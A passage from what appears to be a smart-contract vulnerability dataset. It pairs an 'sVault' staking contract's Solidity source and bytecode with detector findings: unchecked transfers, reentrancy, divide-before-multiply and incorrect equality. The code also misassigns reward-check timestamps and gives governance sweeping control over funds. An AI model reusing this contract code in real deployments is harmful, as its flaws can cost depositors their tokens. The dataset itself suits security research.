9fd0803ce800000081565b601281565b60025481565b600354600090600160a060020a0316331461072857600080fd5b61073182610b16565b92915050565b600160209081526000928352604080842090915290825290205481565b336000908152600160209081526040808320600160a060020a03861684529091528120548083106107a857336000908152600160209081526040808320600160a060020a03881684529091528120556107dd565b6107b8818463ffffffff610bc516565b336000908152600160209081526040808320600160a060020a03891684529091529020555b336000818152600160209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600454600160a060020a0316331461087557600080fd5b6004805491151560a060020a0274ff000000000000000000000000000000000000000019909216919091179055565b600354600090600160a060020a031633146108be57600080fd5b6108c88383610bdc565b9392505050565b60056020526000908152604090205460ff1681565b600354600160a060020a031681565b60408051808201909152600581527f4150535431000000000000000000000000000000000000000000000000000000602082015281565b60045460a060020a900460ff1681565b600454600090339060a060020a900460ff168061096f5750600160a060020a03811660009081526005602052604090205460ff165b151561097a57600080fd5b6109848484610d44565b949350505050565b600454600160a060020a031681565b336000908152600160209081526040808320600160a060020a03861684529091528120546109cf908363ffffffff610d6516565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600354600160a060020a03163314610a7657600080fd5b600160a060020a0381161515610a8b57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610b0b57600080fd5b610984848484610d77565b60008082118015610b365750336000908152602081905260409020548211155b1515610b4157600080fd5b33600090815260208190526040902054610b61908363ffffffff610bc516565b33600090815260208190526040902055600254610b84908363ffffffff610bc516565b60025560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2506001919050565b60008083831115610bd557600080fd5b5050900390565b6000600160a060020a03831615801590610bf65750600082115b8015610c1a5750600160a060020a0383166000908152602081905260409020548211155b1515610c2557600080fd5b600160a060020a0383166000908152600160209081526040808320338452909152902054821115610c5557600080fd5b600160a060020a038316600090815260208190526040902054610c7e908363ffffffff610bc516565b600160a060020a038416600090815260208190526040902055600254610caa908363ffffffff610bc516565b600255600160a060020a0383166000908152600160209081526040808320338452909152902054610ce1908363ffffffff610bc516565b600160a060020a0384166000818152600160209081526040808320338452825291829020939093558051858152905191927fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca592918290030190a250600192915050565b6000600160a060020a0383161515610d5b57600080fd5b6108c88383610eec565b6000828201838110156108c857600080fd5b600160a060020a038316600090815260208190526040812054821115610d9c57600080fd5b600160a060020a0384166000908152600160209081526040808320338452909152902054821115610dcc57600080fd5b600160a060020a0383161515610de157600080fd5b600160a060020a038416600090815260208190526040902054610e0a908363ffffffff610bc516565b600160a060020a038086166000908152602081905260408082209390935590851681522054610e3f908363ffffffff610d6516565b600160a060020a03808516600090815260208181526040808320949094559187168152600182528281203382529091522054610e81908363ffffffff610bc516565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b33600090815260208190526040812054821115610f0857600080fd5b600160a060020a0383161515610f1d57600080fd5b33600090815260208190526040902054610f3d908363ffffffff610bc516565b3360009081526020819052604080822092909255600160a060020a03851681522054610f6f908363ffffffff610d6516565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001929150505600a165627a7a72305820a8d7e4eabd4a9d3127eb832b9dfc5595ca3efc0b989c53c40b915b568e05ee660029
|
{"success": true, "error": null, "results": {}}
| 7,908 |
0xc6499d4574719ef849f0852f53bdfbe94d171467
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract sVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Reward {
uint256 amount;
uint256 timestamp;
uint256 totalDeposit;
}
mapping(address => uint256) public _lastCheckTime;
mapping(address => uint256) public _rewardBalance;
mapping(address => uint256) public _depositBalances;
uint256 public _totalDeposit;
Reward[] public _rewards;
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill;
uint256 public delayDuration = 7 days;
bool public withdrawable;
uint256 public totalRate = 10000;
uint256 public userRate = 8500;
address public treasury;
address public gov;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name, address _treasury) payable {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
treasury = _treasury;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setTotalRate(uint256 _totalRate)
external
onlyGov
{
totalRate = _totalRate;
}
function setTreasury(address _treasury)
external
onlyGov
{
treasury = _treasury;
}
function setUserRate(uint256 _userRate)
external
onlyGov
{
userRate = _userRate;
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
external
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
external
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function getReward(address userAddress)
internal
{
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (lastCheckTime > 0 && _rewards.length > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
_rewardBalance[userAddress] = rewardBalance;
_lastCheckTime[msg.sender] = block.timestamp;
}
function deposit(uint256 amount) external {
getReward(msg.sender);
uint256 feeAmount = amount.mul(feePermill).div(1000);
uint256 realAmount = amount.sub(feeAmount);
if (feeAmount > 0) {
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
}
if (realAmount > 0) {
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount);
_totalDeposit = _totalDeposit.add(realAmount);
emit Deposited(msg.sender, realAmount);
}
}
function withdraw(uint256 amount) external {
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
getReward(msg.sender);
if (amount > _depositBalances[msg.sender]) {
amount = _depositBalances[msg.sender];
}
require(amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, amount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount);
_totalDeposit = _totalDeposit.sub(amount);
emit Withdrawn(msg.sender, amount);
}
function sendReward(uint256 amount) external {
require(amount > 0, "can't reward 0");
require(_totalDeposit > 0, "totalDeposit must bigger than 0");
uint256 amountUser = amount.mul(userRate).div(totalRate);
amount = amount.sub(amountUser);
token1.safeTransferFrom(msg.sender, address(this), amountUser);
token1.safeTransferFrom(msg.sender, treasury, amount);
Reward memory reward;
reward = Reward(amountUser, block.timestamp, _totalDeposit);
_rewards.push(reward);
emit SentReward(amountUser);
}
function claimReward(uint256 amount) external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
if (amount > rewardLimit) {
amount = rewardLimit;
}
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount);
token1.safeTransfer(msg.sender, amount);
}
function claimRewardAll() external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit);
token1.safeTransfer(msg.sender, rewardLimit);
}
function getRewardAmount(address userAddress) public view returns (uint256) {
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (_rewards.length > 0) {
if (lastCheckTime > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) {
uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit);
timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration);
rewardBalance = rewardBalance.sub(timedAmount);
if (j == 0) break;
}
}
return rewardBalance;
}
function seize(address token, address to) external onlyGov {
require(IERC20(token) != token0 && IERC20(token) != token1, "main tokens");
if (token != address(0)) {
uint256 amount = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(to, amount);
}
else {
uint256 amount = address(this).balance;
payable(to).transfer(amount);
}
}
fallback () external payable { }
receive () external payable { }
}
|
0x6080604052600436106102345760003560e01c8063ab033ea91161012e578063c78b6dea116100ab578063e4186aa61161006f578063e4186aa6146107d9578063f0f442601461080c578063fab980b71461083f578063fcc0c680146108c9578063fe7b82d9146109045761023b565b8063c78b6dea14610729578063cbeb7ef214610753578063d21220a71461077f578063d86e1ef714610794578063e2aa2a85146107c45761023b565b8063b79ea884116100f2578063b79ea88414610669578063b8f6e8411461069c578063b8f79288146106b1578063c45c4f58146106e1578063c6e426bd146106f65761023b565b8063ab033ea91461059a578063adc3b31b146105cd578063ae169a5014610600578063b5984a361461062a578063b6b55f251461063f5761023b565b8063430bf08a116101bc578063637830ca11610180578063637830ca146104c257806371e2f020146104d757806385535cc5146104ec5780638705fcd41461051f5780638f1e9405146105525761023b565b8063430bf08a1461040e57806344264d3d1461042357806344a040f514610451578063501883011461048457806361d027b3146104ad5761023b565b806327b5b6a01161020357806327b5b6a01461035d5780632e1a7d4d1461039057806336422e54146103ba57806341275358146103e457806342a66f68146103f95761023b565b80630dfe16811461023d57806311cc66b21461026e57806312d43a51146103215780631c69ad00146103365761023b565b3661023b57005b005b34801561024957600080fd5b5061025261092e565b604080516001600160a01b039092168252519081900360200190f35b34801561027a57600080fd5b5061023b6004803603602081101561029157600080fd5b8101906020810181356401000000008111156102ac57600080fd5b8201836020820111156102be57600080fd5b803590602001918460018302840111640100000000831117156102e057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061093d945050505050565b34801561032d57600080fd5b506102526109a1565b34801561034257600080fd5b5061034b6109b0565b60408051918252519081900360200190f35b34801561036957600080fd5b5061034b6004803603602081101561038057600080fd5b50356001600160a01b0316610a2c565b34801561039c57600080fd5b5061023b600480360360208110156103b357600080fd5b5035610a3e565b3480156103c657600080fd5b5061023b600480360360208110156103dd57600080fd5b5035610c4a565b3480156103f057600080fd5b50610252610c9c565b34801561040557600080fd5b5061034b610cab565b34801561041a57600080fd5b50610252610cb1565b34801561042f57600080fd5b50610438610cc0565b6040805163ffffffff9092168252519081900360200190f35b34801561045d57600080fd5b5061034b6004803603602081101561047457600080fd5b50356001600160a01b0316610cd3565b34801561049057600080fd5b50610499610e76565b604080519115158252519081900360200190f35b3480156104b957600080fd5b50610252610e7f565b3480156104ce57600080fd5b5061023b610e8e565b3480156104e357600080fd5b5061034b610eee565b3480156104f857600080fd5b5061023b6004803603602081101561050f57600080fd5b50356001600160a01b0316610ef4565b34801561052b57600080fd5b5061023b6004803603602081101561054257600080fd5b50356001600160a01b0316610f63565b34801561055e57600080fd5b5061057c6004803603602081101561057557600080fd5b5035610fd2565b60408051938452602084019290925282820152519081900360600190f35b3480156105a657600080fd5b5061023b600480360360208110156105bd57600080fd5b50356001600160a01b0316611005565b3480156105d957600080fd5b5061034b600480360360208110156105f057600080fd5b50356001600160a01b0316611074565b34801561060c57600080fd5b5061023b6004803603602081101561062357600080fd5b5035611086565b34801561063657600080fd5b5061034b6110ee565b34801561064b57600080fd5b5061023b6004803603602081101561066257600080fd5b50356110f4565b34801561067557600080fd5b5061023b6004803603602081101561068c57600080fd5b50356001600160a01b03166111f7565b3480156106a857600080fd5b5061034b611266565b3480156106bd57600080fd5b5061023b600480360360208110156106d457600080fd5b503563ffffffff1661126c565b3480156106ed57600080fd5b5061034b6112df565b34801561070257600080fd5b5061023b6004803603602081101561071957600080fd5b50356001600160a01b031661132a565b34801561073557600080fd5b5061023b6004803603602081101561074c57600080fd5b5035611399565b34801561075f57600080fd5b5061023b6004803603602081101561077657600080fd5b50351515611586565b34801561078b57600080fd5b506102526115e6565b3480156107a057600080fd5b5061023b600480360360208110156107b757600080fd5b503563ffffffff166115f5565b3480156107d057600080fd5b5061034b61164d565b3480156107e557600080fd5b5061034b600480360360208110156107fc57600080fd5b50356001600160a01b0316611653565b34801561081857600080fd5b5061023b6004803603602081101561082f57600080fd5b50356001600160a01b0316611665565b34801561084b57600080fd5b506108546116d4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561088e578181015183820152602001610876565b50505050905090810190601f1680156108bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108d557600080fd5b5061023b600480360360408110156108ec57600080fd5b506001600160a01b0381358116916020013516611762565b34801561091057600080fd5b5061023b6004803603602081101561092757600080fd5b503561196b565b6006546001600160a01b031681565b600f546001600160a01b0316331461098a576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b805161099d906005906020840190611f9c565b5050565b600f546001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b505afa158015610a0f573d6000803e3d6000fd5b505050506040513d6020811015610a2557600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610a8957600080fd5b505afa158015610a9d573d6000803e3d6000fd5b505050506040513d6020811015610ab357600080fd5b505111610afc576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610b46576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b610b4f336119bd565b33600090815260026020526040902054811115610b785750336000908152600260205260409020545b60008111610bc0576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b600654610bd7906001600160a01b03163383611ac5565b33600090815260026020526040902054610bf19082611b17565b33600090815260026020526040902055600354610c0e9082611b17565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b600f546001600160a01b03163314610c97576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600d55565b6008546001600160a01b031681565b600c5481565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610e6f578115610dc757600454600019015b60048181548110610d1857fe5b906000526020600020906003020160010154831015610dc557610db0610da960048381548110610d4457fe5b906000526020600020906003020160020154610da3600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610d8c57fe5b600091825260209091206003909102015490611b62565b90611bbb565b8390611bfd565b915080610dbc57610dc5565b60001901610d0b565b505b600454600019015b610e02600a5460048381548110610de257fe5b906000526020600020906003020160010154611bfd90919063ffffffff16565b421015610e6d576000610e1b60048381548110610d4457fe5b9050610e4a600a54610da3610e4342610e3d600a5460048981548110610de257fe5b90611b17565b8490611b62565b9050610e568382611b17565b925081610e635750610e6d565b5060001901610dcf565b505b9392505050565b600b5460ff1681565b600e546001600160a01b031681565b610e97336119bd565b6000610ea233610cd3565b33600090815260016020526040902054909150610ebf9082611b17565b33600081815260016020526040902091909155600754610eeb916001600160a01b039091169083611ac5565b50565b600d5481565b600f546001600160a01b03163314610f41576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600f546001600160a01b03163314610fb0576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610fe257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600f546001600160a01b03163314611052576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b60016020526000908152604090205481565b61108f336119bd565b600061109a33610cd3565b9050808211156110a8578091505b336000908152600160205260409020546110c29083611b17565b3360008181526001602052604090209190915560075461099d916001600160a01b039091169084611ac5565b600a5481565b6110fd336119bd565b600954600090611127906103e890610da390859063ffffffff600160a01b909104811690611b6216565b905060006111358383611b17565b9050811561115c5760085460065461115c916001600160a01b039182169133911685611c57565b80156111f257600954600654611181916001600160a01b039182169133911684611c57565b3360009081526002602052604090205461119b9082611bfd565b336000908152600260205260409020556003546111b89082611bfd565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600f546001600160a01b03163314611244576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600f546001600160a01b031633146112b9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b600f546001600160a01b03163314611377576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116113df576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611436576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b6000611453600c54610da3600d5485611b6290919063ffffffff16565b905061145f8282611b17565b60075490925061147a906001600160a01b0316333084611c57565b600e54600754611499916001600160a01b039182169133911685611c57565b6114a1612028565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a1505050565b600f546001600160a01b031633146115d3576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600f546001600160a01b03163314611642576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b60105481565b60026020526000908152604090205481565b600f546001600160a01b031633146116b2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561175a5780601f1061172f5761010080835404028352916020019161175a565b820191906000526020600020905b81548152906001019060200180831161173d57829003601f168201915b505050505081565b600f546001600160a01b031633146117af576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006546001600160a01b038381169116148015906117db57506007546001600160a01b03838116911614155b61181a576040805162461bcd60e51b815260206004820152600b60248201526a6d61696e20746f6b656e7360a81b604482015290519081900360640190fd5b6001600160a01b0382161561192d576000826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561187857600080fd5b505afa15801561188c573d6000803e3d6000fd5b505050506040513d60208110156118a257600080fd5b50516040805163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905291519293509085169163a9059cbb916044808201926020929091908290030181600087803b1580156118fa57600080fd5b505af115801561190e573d6000803e3d6000fd5b505050506040513d602081101561192457600080fd5b5061099d915050565b60405147906001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611965573d6000803e3d6000fd5b50505050565b600f546001600160a01b031633146119b8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600c55565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906119f0575060045415155b15611a9557600454600019015b60048181548110611a0a57fe5b906000526020600020906003020160010154831015611a9357611a7e610da960048381548110611a3657fe5b906000526020600020906003020160020154610da360026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610d8c57fe5b915080611a8a57611a93565b600019016119fd565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526111f2908490611cad565b6000611b5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e64565b90505b92915050565b600082611b7157506000611b5c565b82820282848281611b7e57fe5b0414611b595760405162461bcd60e51b815260040180806020018281038252602181526020018061205f6021913960400191505060405180910390fd5b6000611b5983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611efb565b600082820183811015611b59576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526119659085905b611cbf826001600160a01b0316611f60565b611d10576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b600080836001600160a01b0316836040518082805190602001908083835b60208310611d4d5780518252601f199092019160209182019101611d2e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611daf576040519150601f19603f3d011682016040523d82523d6000602084013e611db4565b606091505b509150915081611e0b576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561196557808060200190516020811015611e2757600080fd5b50516119655760405162461bcd60e51b815260040180806020018281038252602a815260200180612080602a913960400191505060405180910390fd5b60008184841115611ef35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611eb8578181015183820152602001611ea0565b50505050905090810190601f168015611ee55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611f4a5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611eb8578181015183820152602001611ea0565b506000838581611f5657fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611f945750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611fd25760008555612018565b82601f10611feb57805160ff1916838001178555612018565b82800160010185558215612018579182015b82811115612018578251825591602001919060010190611ffd565b50612024929150612049565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b80821115612024576000815560010161204a56fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122042d613be6e3a02fe17c0d7be989a2adfbd1c498a58a82ef65db2b1803e6a571264736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 7,909 |
0x15bB9A8A03991783D7EADA5F4192852196A5bf88
|
/**
*Submitted for verification at Etherscan.io on 2021-11-11
*/
/*
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
^^^^^^^^^^^^^^^^^^^^^%^^^^^^^^^^^^^^^^^^
^^^^^^^^^^^^^^^^^^^^( ^^^^& ^^^^^^^^^^
^^^^^^^^^^^^^^^^^^^^.* %^^, ,^^^^^^^^^^
^^^^^^^^^^^^^^^^^^^^ ( ^^^^^^^^^^^
^^^^^^^^^^^^^^^^^^^. &^^^^^^^^^^
^^^^^^^^^^^^^^^^^^ * ^^^^^^^^^^
^^^^^^^^^^^^^^^^. * ^ #^^^^^^^^^
^^^^^^^^^^^^^^* @ @. * @&* ^^^^^^^^^
^^^^^^^^^ ^^^^^^^^^
^^^^^^^ (^^^^^^^^
^^^^^^^ ^ ^^^^^^^^
^^^^^^^ , ^^^^^^^^
^^^^^^^^^^ * *^^^^^^^
^^^^^^^^^^^^^^^^^* #^^^^^^
^^^^^^^^^^^^^^^^% ^^^^^^
website - https://moomin-token.network/
telegram - https://t.me/Moomin_Token
